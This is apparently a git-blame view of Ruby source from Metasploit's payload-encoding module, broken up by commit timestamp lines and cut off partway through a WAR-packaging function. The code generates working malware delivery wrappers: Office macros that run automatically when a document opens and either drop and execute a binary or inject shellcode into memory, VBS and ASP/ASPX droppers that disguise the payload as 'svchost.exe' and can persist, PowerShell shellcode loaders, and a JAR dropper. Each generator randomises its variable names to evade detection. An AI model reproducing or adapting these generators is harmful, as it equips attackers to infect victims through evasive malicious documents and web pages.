2010-07-12 21:51:11 +00:00
2012-05-17 23:41:28 +00:00
# Create a 64-bit Linux ELF containing the payload provided in +code+
def self . to_linux_x64_elf ( framework , code , opts = { } )
elf = to_exe_elf ( framework , opts , " template_x64_linux.bin " , code )
return elf
end
2010-06-09 07:20:21 +00:00
2012-05-17 23:41:28 +00:00
def self . to_linux_armle_elf ( framework , code , opts = { } )
elf = to_exe_elf ( framework , opts , " template_armle_linux.bin " , code )
2010-08-14 20:40:45 +00:00
return elf
2010-06-09 07:20:21 +00:00
end
2009-06-24 20:02:29 +00:00
def self . to_exe_vba ( exes = '' )
exe = exes . unpack ( 'C*' )
2009-06-20 17:42:17 +00:00
vba = " "
idx = 0
2009-11-05 02:48:56 +00:00
maxbytes = 2000
2009-11-01 04:11:43 +00:00
2009-11-05 02:48:56 +00:00
var_magic = Rex :: Text . rand_text_alpha ( 10 ) . capitalize
var_base = Rex :: Text . rand_text_alpha ( 5 ) . capitalize
2009-06-20 17:42:17 +00:00
var_base_idx = 0
2009-11-01 04:11:43 +00:00
2009-11-05 02:48:56 +00:00
# First write the macro into the vba file
var_fname = var_base + ( var_base_idx += 1 ) . to_s
var_fenvi = var_base + ( var_base_idx += 1 ) . to_s
var_fhand = var_base + ( var_base_idx += 1 ) . to_s
var_parag = var_base + ( var_base_idx += 1 ) . to_s
var_itemp = var_base + ( var_base_idx += 1 ) . to_s
var_btemp = var_base + ( var_base_idx += 1 ) . to_s
2009-06-20 17:42:17 +00:00
var_appnr = var_base + ( var_base_idx += 1 ) . to_s
2009-11-05 02:48:56 +00:00
var_index = var_base + ( var_base_idx += 1 ) . to_s
var_gotmagic = var_base + ( var_base_idx += 1 ) . to_s
var_farg = var_base + ( var_base_idx += 1 ) . to_s
var_stemp = var_base + ( var_base_idx += 1 ) . to_s
# Function 1 extracts the binary
func_name1 = var_base + ( var_base_idx += 1 ) . to_s
# Function 2 executes the binary
func_name2 = var_base + ( var_base_idx += 1 ) . to_s
vba << " '************************************************************** \r \n "
vba << " '* \r \n "
vba << " '* This code is now split into two pieces: \r \n "
vba << " '* 1. The Macro. This must be copied into the Office document \r \n "
vba << " '* macro editor. This macro will run on startup. \r \n "
vba << " '* \r \n "
vba << " '* 2. The Data. The hex dump at the end of this output must be \r \n "
vba << " '* appended to the end of the document contents. \r \n "
vba << " '* \r \n "
vba << " '************************************************************** \r \n "
vba << " '* \r \n "
vba << " '* MACRO CODE \r \n "
vba << " '* \r \n "
vba << " '************************************************************** \r \n "
# The wrapper makes it easier to integrate it into other macros
2009-06-20 17:42:17 +00:00
vba << " Sub Auto_Open() \r \n "
2009-11-05 02:48:56 +00:00
vba << " \t #{ func_name1 } \r \n "
vba << " End Sub \r \n "
vba << " Sub #{ func_name1 } () \r \n "
2009-06-20 17:42:17 +00:00
vba << " \t Dim #{ var_appnr } As Integer \r \n "
2009-11-05 02:48:56 +00:00
vba << " \t Dim #{ var_fname } As String \r \n "
vba << " \t Dim #{ var_fenvi } As String \r \n "
vba << " \t Dim #{ var_fhand } As Integer \r \n "
vba << " \t Dim #{ var_parag } As Paragraph \r \n "
vba << " \t Dim #{ var_index } As Integer \r \n "
vba << " \t Dim #{ var_gotmagic } As Boolean \r \n "
vba << " \t Dim #{ var_itemp } As Integer \r \n "
vba << " \t Dim #{ var_stemp } As String \r \n "
vba << " \t Dim #{ var_btemp } As Byte \r \n "
vba << " \t Dim #{ var_magic } as String \r \n "
vba << " \t #{ var_magic } = \" #{ var_magic } \" \r \n "
vba << " \t #{ var_fname } = \" #{ Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 ) } .exe \" \r \n "
vba << " \t #{ var_fenvi } = Environ( \" USERPROFILE \" ) \r \n "
vba << " \t ChDrive ( #{ var_fenvi } ) \r \n "
vba << " \t ChDir ( #{ var_fenvi } ) \r \n "
vba << " \t #{ var_fhand } = FreeFile() \r \n "
vba << " \t Open #{ var_fname } For Binary As #{ var_fhand } \r \n "
vba << " \t For Each #{ var_parag } in ActiveDocument.Paragraphs \r \n "
vba << " \t \t DoEvents \r \n "
vba << " \t \t \t #{ var_stemp } = #{ var_parag } .Range.Text \r \n "
vba << " \t \t If ( #{ var_gotmagic } = True) Then \r \n "
vba << " \t \t \t #{ var_index } = 1 \r \n "
vba << " \t \t \t While ( #{ var_index } < Len( #{ var_stemp } )) \r \n "
vba << " \t \t \t \t #{ var_btemp } = Mid( #{ var_stemp } , #{ var_index } ,4) \r \n "
vba << " \t \t \t \t Put # #{ var_fhand } , , #{ var_btemp } \r \n "
vba << " \t \t \t \t #{ var_index } = #{ var_index } + 4 \r \n "
vba << " \t \t \t Wend \r \n "
vba << " \t \t ElseIf (InStr(1, #{ var_stemp } , #{ var_magic } ) > 0 And Len( #{ var_stemp } ) > 0) Then \r \n "
vba << " \t \t \t #{ var_gotmagic } = True \r \n "
vba << " \t \t End If \r \n "
vba << " \t Next \r \n "
vba << " \t Close # #{ var_fhand } \r \n "
vba << " \t #{ func_name2 } ( #{ var_fname } ) \r \n "
vba << " End Sub \r \n "
2009-11-01 04:11:43 +00:00
2009-11-05 02:48:56 +00:00
vba << " Sub #{ func_name2 } ( #{ var_farg } As String) \r \n "
vba << " \t Dim #{ var_appnr } As Integer \r \n "
vba << " \t Dim #{ var_fenvi } As String \r \n "
vba << " \t #{ var_fenvi } = Environ( \" USERPROFILE \" ) \r \n "
vba << " \t ChDrive ( #{ var_fenvi } ) \r \n "
vba << " \t ChDir ( #{ var_fenvi } ) \r \n "
vba << " \t #{ var_appnr } = Shell( #{ var_farg } , vbHide) \r \n "
2009-06-20 17:42:17 +00:00
vba << " End Sub \r \n "
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
vba << " Sub AutoOpen() \r \n "
vba << " \t Auto_Open \r \n "
vba << " End Sub \r \n "
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
vba << " Sub Workbook_Open() \r \n "
vba << " \t Auto_Open \r \n "
vba << " End Sub \r \n "
2009-11-05 02:48:56 +00:00
vba << " '************************************************************** \r \n "
vba << " '* \r \n "
vba << " '* PAYLOAD DATA \r \n "
vba << " '* \r \n "
vba << " '************************************************************** \r \n \r \n \r \n "
vba << " #{ var_magic } \r \n "
# Writing the bytes of the exe to the file
1 . upto ( exe . length ) do | pc |
while ( c = exe [ idx ] )
vba << " &H #{ ( " %.2x " % c ) . upcase } "
if ( idx > 1 and ( idx % maxbytes ) == 0 )
# When maxbytes are written make a new paragrpah
vba << " \r \n "
end
idx += 1
end
end
return vba
2009-06-20 17:42:17 +00:00
end
2012-01-22 12:23:21 +00:00
def self . to_vba ( framework , code , opts = { } )
var_myByte = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_myArray = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_rwxpage = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_res = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_offset = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_lpThreadAttributes = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_dwStackSize = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_lpStartAddress = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_lpParameter = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_dwCreationFlags = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_lpThreadID = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_lpAddr = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_lSize = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_flAllocationType = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_flProtect = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_lDest = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_Source = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
var_Length = Rex :: Text . rand_text_alpha ( rand ( 7 ) + 3 ) . capitalize
# put the shellcode bytes into an array
bytes = ''
maxbytes = 20
codebytes = code . unpack ( 'C*' )
1 . upto ( codebytes . length ) do | idx |
bytes << codebytes [ idx ] . to_s
bytes << " , " if idx < codebytes . length - 1
bytes << " _ \r \n " if ( idx > 1 and ( idx % maxbytes ) == 0 )
end
2012-04-04 15:41:50 +00:00
" # If Vba7 Then
2012-01-23 17:43:47 +00:00
Private Declare PtrSafe Function CreateThread Lib \ " kernel32 \" (ByVal #{ var_lpThreadAttributes } As Long, ByVal #{ var_dwStackSize } As Long, ByVal #{ var_lpStartAddress } As LongPtr, #{ var_lpParameter } As Long, ByVal #{ var_dwCreationFlags } As Long, #{ var_lpThreadID } As Long) As LongPtr
Private Declare PtrSafe Function VirtualAlloc Lib \ " kernel32 \" (ByVal #{ var_lpAddr } As Long, ByVal #{ var_lSize } As Long, ByVal #{ var_flAllocationType } As Long, ByVal #{ var_flProtect } As Long) As LongPtr
Private Declare PtrSafe Function RtlMoveMemory Lib \ " kernel32 \" (ByVal #{ var_lDest } As LongPtr, ByRef #{ var_Source } As Any, ByVal #{ var_Length } As Long) As LongPtr
2012-04-04 15:41:50 +00:00
#Else
2012-01-23 17:43:47 +00:00
Private Declare Function CreateThread Lib \ " kernel32 \" (ByVal #{ var_lpThreadAttributes } As Long, ByVal #{ var_dwStackSize } As Long, ByVal #{ var_lpStartAddress } As Long, #{ var_lpParameter } As Long, ByVal #{ var_dwCreationFlags } As Long, #{ var_lpThreadID } As Long) As Long
2012-01-22 12:23:21 +00:00
Private Declare Function VirtualAlloc Lib \ " kernel32 \" (ByVal #{ var_lpAddr } As Long, ByVal #{ var_lSize } As Long, ByVal #{ var_flAllocationType } As Long, ByVal #{ var_flProtect } As Long) As Long
Private Declare Function RtlMoveMemory Lib \ " kernel32 \" (ByVal #{ var_lDest } As Long, ByRef #{ var_Source } As Any, ByVal #{ var_Length } As Long) As Long
2012-01-23 17:43:47 +00:00
#EndIf
2012-01-22 12:23:21 +00:00
Sub Auto_Open ( )
2012-01-24 03:15:27 +00:00
Dim #{var_myByte} As Long, #{var_myArray} As Variant, #{var_offset} As Long
2012-04-04 15:41:50 +00:00
#If Vba7 Then
2012-01-24 03:15:27 +00:00
Dim #{var_rwxpage} As LongPtr, #{var_res} As LongPtr
2012-04-04 15:41:50 +00:00
#Else
2012-01-24 03:15:27 +00:00
Dim #{var_rwxpage} As Long, #{var_res} As Long
2012-01-23 17:43:47 +00:00
#EndIf
2012-01-22 12:23:21 +00:00
#{var_myArray} = Array(#{bytes})
#{var_rwxpage} = VirtualAlloc(0, UBound(#{var_myArray}), &H1000, &H40)
For #{var_offset} = LBound(#{var_myArray}) To UBound(#{var_myArray})
#{var_myByte} = #{var_myArray}(#{var_offset})
#{var_res} = RtlMoveMemory(#{var_rwxpage} + #{var_offset}, #{var_myByte}, 1)
Next #{var_offset}
#{var_res} = CreateThread(0, 0, #{var_rwxpage}, 0, 0, 0)
End Sub
Sub AutoOpen ( )
Auto_Open
End Sub
Sub Workbook_Open ( )
Auto_Open
End Sub
"
end
2009-11-01 04:11:43 +00:00
def self . to_win32pe_vba ( framework , code , opts = { } )
to_exe_vba ( to_win32pe ( framework , code , opts ) )
2009-06-20 17:42:17 +00:00
end
2009-11-01 04:11:43 +00:00
def self . to_exe_vbs ( exes = '' , opts = { } )
2009-11-03 20:00:43 +00:00
delay = opts [ :delay ] || 5
persist = opts [ :persist ] || false
2009-10-19 02:42:39 +00:00
2009-06-24 20:02:29 +00:00
exe = exes . unpack ( 'C*' )
2009-06-20 17:42:17 +00:00
vbs = " "
2009-11-01 04:11:43 +00:00
2010-02-11 04:27:56 +00:00
var_bytes = Rex :: Text . rand_text_alpha ( rand ( 4 ) + 4 ) # repeated a large number of times, so keep this one small
var_fname = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_func = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_stream = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_obj = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_shell = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_tempdir = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_tempexe = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_basedir = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
vbs << " Function #{ var_func } () \r \n "
2009-11-09 18:32:03 +00:00
vbs << " #{ var_bytes } =Chr( #{ exe [ 0 ] } ) "
2009-11-01 04:11:43 +00:00
2009-11-09 18:32:03 +00:00
lines = [ ]
2009-10-19 02:42:39 +00:00
1 . upto ( exe . length - 1 ) do | byte |
2009-11-03 20:31:28 +00:00
if ( byte % 100 == 0 )
2009-11-09 18:32:03 +00:00
lines . push " \r \n #{ var_bytes } = #{ var_bytes } "
2009-11-03 20:31:28 +00:00
end
2009-11-09 18:32:03 +00:00
# exe is an Array of bytes, not a String, thanks to the unpack
# above, so the following line is not subject to the different
# treatments of String#[] between ruby 1.8 and 1.9
lines . push " &Chr( #{ exe [ byte ] } ) "
2009-11-01 04:11:43 +00:00
end
2009-11-09 18:32:03 +00:00
vbs << lines . join ( " " ) + " \r \n "
2009-11-01 04:11:43 +00:00
2009-06-20 17:42:17 +00:00
vbs << " Dim #{ var_obj } \r \n "
vbs << " Set #{ var_obj } = CreateObject( \" Scripting.FileSystemObject \" ) \r \n "
vbs << " Dim #{ var_stream } \r \n "
2009-10-19 02:42:39 +00:00
vbs << " Dim #{ var_tempdir } \r \n "
vbs << " Dim #{ var_tempexe } \r \n "
2009-11-01 04:11:43 +00:00
vbs << " Dim #{ var_basedir } \r \n "
2009-10-19 02:42:39 +00:00
vbs << " Set #{ var_tempdir } = #{ var_obj } .GetSpecialFolder(2) \r \n "
2009-11-01 04:11:43 +00:00
2009-10-19 02:42:39 +00:00
vbs << " #{ var_basedir } = #{ var_tempdir } & \" \\ \" & #{ var_obj } .GetTempName() \r \n "
vbs << " #{ var_obj } .CreateFolder( #{ var_basedir } ) \r \n "
vbs << " #{ var_tempexe } = #{ var_basedir } & \" \\ \" & \" svchost.exe \" \r \n "
2011-12-22 19:13:34 +00:00
vbs << " Set #{ var_stream } = #{ var_obj } .CreateTextFile( #{ var_tempexe } , true , false) \r \n "
2009-06-20 17:42:17 +00:00
vbs << " #{ var_stream } .Write #{ var_bytes } \r \n "
vbs << " #{ var_stream } .Close \r \n "
vbs << " Dim #{ var_shell } \r \n "
vbs << " Set #{ var_shell } = CreateObject( \" Wscript.Shell \" ) \r \n "
2009-10-19 02:42:39 +00:00
vbs << " #{ var_shell } .run #{ var_tempexe } , 0, true \r \n "
vbs << " #{ var_obj } .DeleteFile( #{ var_tempexe } ) \r \n "
2009-11-01 04:11:43 +00:00
vbs << " #{ var_obj } .DeleteFolder( #{ var_basedir } ) \r \n "
2009-06-20 17:42:17 +00:00
vbs << " End Function \r \n "
2009-11-01 04:11:43 +00:00
2009-10-19 02:42:39 +00:00
vbs << " Do \r \n " if persist
2009-06-20 17:42:17 +00:00
vbs << " #{ var_func } \r \n "
2009-11-01 04:11:43 +00:00
vbs << " WScript.Sleep #{ delay * 1000 } \r \n " if persist
vbs << " Loop \r \n " if persist
2009-11-04 21:30:00 +00:00
vbs
2009-06-20 17:42:17 +00:00
end
2009-12-28 22:41:43 +00:00
def self . to_exe_asp ( exes = '' , opts = { } )
exe = exes . unpack ( 'C*' )
vbs = " <% \r \n "
2010-02-11 04:27:56 +00:00
var_bytes = Rex :: Text . rand_text_alpha ( rand ( 4 ) + 4 ) # repeated a large number of times, so keep this one small
var_fname = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_func = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_stream = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_obj = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_shell = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_tempdir = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_tempexe = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_basedir = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
2009-12-28 22:41:43 +00:00
vbs << " Sub #{ var_func } () \r \n "
vbs << " #{ var_bytes } =Chr( #{ exe [ 0 ] } ) "
lines = [ ]
1 . upto ( exe . length - 1 ) do | byte |
if ( byte % 100 == 0 )
lines . push " \r \n #{ var_bytes } = #{ var_bytes } "
end
# exe is an Array of bytes, not a String, thanks to the unpack
# above, so the following line is not subject to the different
# treatments of String#[] between ruby 1.8 and 1.9
lines . push " &Chr( #{ exe [ byte ] } ) "
end
vbs << lines . join ( " " ) + " \r \n "
vbs << " Dim #{ var_obj } \r \n "
vbs << " Set #{ var_obj } = CreateObject( \" Scripting.FileSystemObject \" ) \r \n "
vbs << " Dim #{ var_stream } \r \n "
vbs << " Dim #{ var_tempdir } \r \n "
vbs << " Dim #{ var_tempexe } \r \n "
vbs << " Dim #{ var_basedir } \r \n "
vbs << " Set #{ var_tempdir } = #{ var_obj } .GetSpecialFolder(2) \r \n "
vbs << " #{ var_basedir } = #{ var_tempdir } & \" \\ \" & #{ var_obj } .GetTempName() \r \n "
vbs << " #{ var_obj } .CreateFolder( #{ var_basedir } ) \r \n "
vbs << " #{ var_tempexe } = #{ var_basedir } & \" \\ \" & \" svchost.exe \" \r \n "
vbs << " Set #{ var_stream } = #{ var_obj } .CreateTextFile( #{ var_tempexe } ,2,0) \r \n "
vbs << " #{ var_stream } .Write #{ var_bytes } \r \n "
vbs << " #{ var_stream } .Close \r \n "
vbs << " Dim #{ var_shell } \r \n "
vbs << " Set #{ var_shell } = CreateObject( \" Wscript.Shell \" ) \r \n "
vbs << " #{ var_shell } .run #{ var_tempexe } , 0, false \r \n "
vbs << " End Sub \r \n "
vbs << " #{ var_func } \r \n "
vbs << " %> \r \n "
vbs
end
2012-04-04 15:41:50 +00:00
2012-02-25 23:02:56 +00:00
def self . to_exe_aspx ( exes = '' , opts = { } )
exe = exes . unpack ( 'C*' )
var_file = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_tempdir = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_basedir = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_filename = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_tempexe = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_iterator = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_proc = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
source = " <%@ Page Language= \" C # \" AutoEventWireup= \" true \" %> \r \n "
source << " <%@ Import Namespace= \" System.IO \" %> \r \n "
source << " <script runat= \" server \" > \r \n "
source << " \t protected void Page_Load(object sender, EventArgs e) \r \n "
source << " \t { \r \n "
source << " \t \t StringBuilder #{ var_file } = new StringBuilder(); \r \n "
source << " \t \t #{ var_file } .Append( \" \\ x #{ exe [ 0 ] . to_s ( 16 ) } "
1 . upto ( exe . length - 1 ) do | byte |
# Apparently .net 1.0 has a limit of 2046 chars per line
if ( byte % 100 == 0 )
source << " \" ); \r \n \t \t #{ var_file } .Append( \" "
end
source << " \\ x #{ exe [ byte ] . to_s ( 16 ) } "
end
source << " \" ); \r \n "
source << " \t \t string #{ var_tempdir } = Path.GetTempPath(); \r \n "
source << " \t \t string #{ var_basedir } = Path.Combine( #{ var_tempdir } , \" #{ var_filename } \" ); \r \n "
source << " \t \t string #{ var_tempexe } = Path.Combine( #{ var_basedir } , \" svchost.exe \" ); \r \n "
source << " \r \n "
source << " \t \t Directory.CreateDirectory( #{ var_basedir } ); \r \n "
source << " \r \n "
source << " \t \t FileStream fs = File.Create( #{ var_tempexe } ); \r \n "
source << " \t \t try \r \n "
source << " \t \t { \r \n "
source << " \t \t \t foreach (char #{ var_iterator } in #{ var_file } .ToString()) \r \n "
source << " \t \t \t { \r \n "
source << " \t \t \t \t fs.WriteByte(Convert.ToByte( #{ var_iterator } )); \r \n "
source << " \t \t \t } \r \n "
source << " \t \t } \r \n "
source << " \t \t finally \r \n "
source << " \t \t { \r \n "
source << " \t \t \t if (fs != null) ((IDisposable)fs).Dispose(); \r \n "
source << " \t \t } \r \n "
source << " \r \n "
source << " \t \t System.Diagnostics.Process #{ var_proc } = new System.Diagnostics.Process(); \r \n "
source << " \t \t #{ var_proc } .StartInfo.CreateNoWindow = true; \r \n "
source << " \t \t #{ var_proc } .StartInfo.UseShellExecute = true; \r \n "
source << " \t \t #{ var_proc } .StartInfo.FileName = #{ var_tempexe } ; \r \n "
source << " \t \t #{ var_proc } .Start(); \r \n "
source << " \r \n "
source << " \t } \r \n "
source << " </script> \r \n "
source
end
2009-12-28 22:41:43 +00:00
2012-05-18 21:39:49 +00:00
def self . to_win32pe_psh_net ( framework , code , opts = { } )
var_code = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_kernel32 = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_baseaddr = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_threadHandle = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_output = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_temp = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_codeProvider = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_compileParams = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_syscode = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
code = code . unpack ( 'C*' )
psh = " Set-StrictMode -Version 2 \r \n "
psh << " $ #{ var_syscode } = @ \" \r \n using System; \r \n using System.Runtime.InteropServices; \r \n "
psh << " namespace #{ var_kernel32 } { \r \n "
psh << " public class func { \r \n "
psh << " [Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 } \r \n "
psh << " [Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 } \r \n "
psh << " [Flags] public enum Time : uint { Infinite = 0xFFFFFFFF } \r \n "
psh << " [DllImport( \" kernel32.dll \" )] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); \r \n "
psh << " [DllImport( \" kernel32.dll \" )] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); \r \n "
psh << " [DllImport( \" kernel32.dll \" )] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds); \r \n "
psh << " } } \r \n "
psh << " \" @ \r \n \r \n "
psh << " $ #{ var_codeProvider } = New-Object Microsoft.CSharp.CSharpCodeProvider \r \n "
psh << " $ #{ var_compileParams } = New-Object System.CodeDom.Compiler.CompilerParameters \r \n "
psh << " $ #{ var_compileParams } .ReferencedAssemblies.AddRange(@( \" System.dll \" , [PsObject].Assembly.Location)) \r \n "
psh << " $ #{ var_compileParams } .GenerateInMemory = $True \r \n "
psh << " $ #{ var_output } = $ #{ var_codeProvider } .CompileAssemblyFromSource($ #{ var_compileParams } , $ #{ var_syscode } ) \r \n \r \n "
psh << " [Byte[]]$ #{ var_code } = 0x #{ code [ 0 ] . to_s ( 16 ) } "
lines = [ ]
1 . upto ( code . length - 1 ) do | byte |
if ( byte % 10 == 0 )
lines . push " \r \n $ #{ var_code } += 0x #{ code [ byte ] . to_s ( 16 ) } "
else
lines . push " ,0x #{ code [ byte ] . to_s ( 16 ) } "
end
end
psh << lines . join ( " " ) + " \r \n \r \n "
psh << " $ #{ var_baseaddr } = [ #{ var_kernel32 } .func]::VirtualAlloc(0, $ #{ var_code } .Length + 1, [ #{ var_kernel32 } .func+AllocationType]::Reserve -bOr [ #{ var_kernel32 } .func+AllocationType]::Commit, [ #{ var_kernel32 } .func+MemoryProtection]::ExecuteReadWrite) \r \n "
psh << " if ([Bool]!$ #{ var_baseaddr } ) { $global:result = 3; return } \r \n "
psh << " [System.Runtime.InteropServices.Marshal]::Copy($ #{ var_code } , 0, $ #{ var_baseaddr } , $ #{ var_code } .Length) \r \n "
psh << " [IntPtr] $ #{ var_threadHandle } = [ #{ var_kernel32 } .func]::CreateThread(0,0,$ #{ var_baseaddr } ,0,0,0) \r \n "
psh << " if ([Bool]!$ #{ var_threadHandle } ) { $global:result = 7; return } \r \n "
psh << " $ #{ var_temp } = [ #{ var_kernel32 } .func]::WaitForSingleObject($ #{ var_threadHandle } , [ #{ var_kernel32 } .func+Time]::Infinite) \r \n "
end
def self . to_win32pe_psh ( framework , code , opts = { } )
var_code = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_win32_func = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_payload = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_size = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_rwx = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
var_iter = Rex :: Text . rand_text_alpha ( rand ( 8 ) + 8 )
code = code . unpack ( " C* " )
# Add wrapper script
psh = " $ #{ var_code } = @ \" \r \n "
psh << " [DllImport( \" kernel32.dll \" )] \r \n "
psh << " public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); \r \n "
psh << " [DllImport( \" kernel32.dll \" )] \r \n "
psh << " public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); \r \n "
psh << " [DllImport( \" msvcrt.dll \" )] \r \n "
psh << " public static extern IntPtr memset(IntPtr dest, uint src, uint count); \r \n "
psh << " \" @ \r \n "
psh << " $ #{ var_win32_func } = Add-Type -memberDefinition $ #{ var_code } -Name \" Win32 \" -namespace Win32Functions -passthru \r \n "
# Set up the payload string
psh << " [Byte[]]$ #{ var_payload } = 0x #{ code [ 0 ] . to_s ( 16 ) } "
lines = [ ]
1 . upto ( code . length - 1 ) do | byte |
if ( byte % 10 == 0 )
lines . push " \r \n $ #{ var_payload } += 0x #{ code [ byte ] . to_s ( 16 ) } "
else
lines . push " ,0x #{ code [ byte ] . to_s ( 16 ) } "
end
end
psh << lines . join ( " " ) + " \r \n \r \n "
psh << " $ #{ var_size } = 0x1000 \r \n "
psh << " if ($ #{ var_payload } .Length -gt 0x1000) {$ #{ var_size } = $ #{ var_payload } .Length} \r \n "
psh << " $ #{ var_rwx } =$ #{ var_win32_func } ::VirtualAlloc(0,0x1000,$ #{ var_size } ,0x40) \r \n "
psh << " for ($ #{ var_iter } =0;$ #{ var_iter } -le ($ #{ var_payload } .Length-1);$ #{ var_iter } ++) {$ #{ var_win32_func } ::memset([IntPtr]($ #{ var_rwx } .ToInt32()+$ #{ var_iter } ), $ #{ var_payload } [$ #{ var_iter } ], 1)} \r \n "
psh << " $ #{ var_win32_func } ::CreateThread(0,0,$ #{ var_rwx } ,0,0,0) \r \n "
end
2009-11-01 04:11:43 +00:00
def self . to_win32pe_vbs ( framework , code , opts = { } )
to_exe_vbs ( to_win32pe ( framework , code , opts ) , opts )
2009-06-20 17:42:17 +00:00
end
2009-12-28 22:41:43 +00:00
def self . to_win32pe_asp ( framework , code , opts = { } )
to_exe_asp ( to_win32pe ( framework , code , opts ) , opts )
end
2012-04-04 15:41:50 +00:00
2012-02-25 23:02:56 +00:00
def self . to_win32pe_aspx ( framework , code , opts = { } )
to_exe_aspx ( to_win32pe ( framework , code , opts ) , opts )
end
2010-02-11 04:27:56 +00:00
2010-11-11 23:01:35 +00:00
# Creates a jar file that drops the provided +exe+ into a random file name
2011-11-20 01:32:06 +00:00
# in the system's temp dir and executes it.
2010-11-11 23:01:35 +00:00
#
# See also: +Msf::Core::Payload::Java+
#
def self . to_jar ( exe , opts = { } )
spawn = opts [ :spawn ] || 2
exe_name = Rex :: Text . rand_text_alpha ( 8 ) + " .exe "
zip = Rex :: Zip :: Jar . new
paths = [
[ " metasploit " , " Payload.class " ] ,
]
2011-01-13 18:55:26 +00:00
zip . add_files ( paths , File . join ( Msf :: Config . data_directory , " java " ) )
2010-11-11 23:01:35 +00:00
zip . build_manifest :main_class = > " metasploit.Payload "
config = " Spawn= #{ spawn } \r \n Executable= #{ exe_name } \r \n "
zip . add_file ( " metasploit.dat " , config )
zip . add_file ( exe_name , exe )
zip
end
2010-06-18 21:54:33 +00:00
# Creates a Web Archive (WAR) file from the provided jsp code. Additional options
# can be provided via the "opts" hash.
def self . to_war ( jsp_raw , opts = { } )
2010-02-18 18:03:22 +00:00
jsp_name = opts [ :jsp_name ]
jsp_name || = Rex :: Text . rand_text_alpha_lower ( rand ( 8 ) + 8 )
2010-06-18 21:54:33 +00:00
app_name = opts [ :app_name ]
app_name || = Rex :: Text . rand_text_alpha_lower ( rand ( 8 ) + 8 )
2010-01-14 18:15:15 +00:00
2010-06-18 21:54:33 +00:00
meta_inf = [ 0xcafe , 0x0003 ] . pack ( 'Vv' )
manifest = " Manifest-Version: 1.0 \r \n Created-By: 1.6.0_17 (Sun Microsystems Inc.) \r \n \r \n "
web_xml = %q{ <?xml version="1.0"?>
2010-02-21 01:40:52 +00:00
